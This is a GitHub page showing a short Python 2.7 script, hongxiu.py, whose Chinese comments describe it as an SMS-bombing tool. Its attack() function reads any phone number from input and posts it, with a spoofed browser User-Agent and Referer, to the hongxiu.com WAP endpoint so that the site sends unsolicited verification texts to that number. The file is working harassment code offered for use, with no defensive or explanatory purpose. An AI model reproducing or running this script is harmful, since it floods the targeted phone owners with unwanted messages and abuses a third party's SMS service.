forked from iloster/PythonScripts
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathhongxiu.py
38 lines (32 loc) · 1.16 KB
/
hongxiu.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# -*- coding: utf-8 -*-
#-------------------------------------
# python2.7
# author:loster
# version:0.1
# description:向http://www.hongxiu.com/网站post数据,给任意手机号码发送验证短信,进行短信轰炸
# 但是每天对同一手机号有条数限制
#---------------------------------
import httplib,urllib,sys,os,re,urllib2
import string
def attack(phone):
datas=""
url='http://topic.hongxiu.com/wap/action.aspx'
#请求的数据
payload={'hidtpye':'1',
'txtMobile':phone}
#注意Referer不能为空
i_headers = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5",
"Accept": "text/plain",'Referer':'http://topic.hongxiu.com/wap/'}
payload=urllib.urlencode(payload)
try:
request=urllib2.Request(url,payload,i_headers)
response=urllib2.urlopen(request)
datas=response.read()
print datas
print 'attack success!!!'
except Exception, e:
print e
print "attack failed!!!"
if __name__=="__main__":
phone=raw_input('input the phone:')
attack(phone)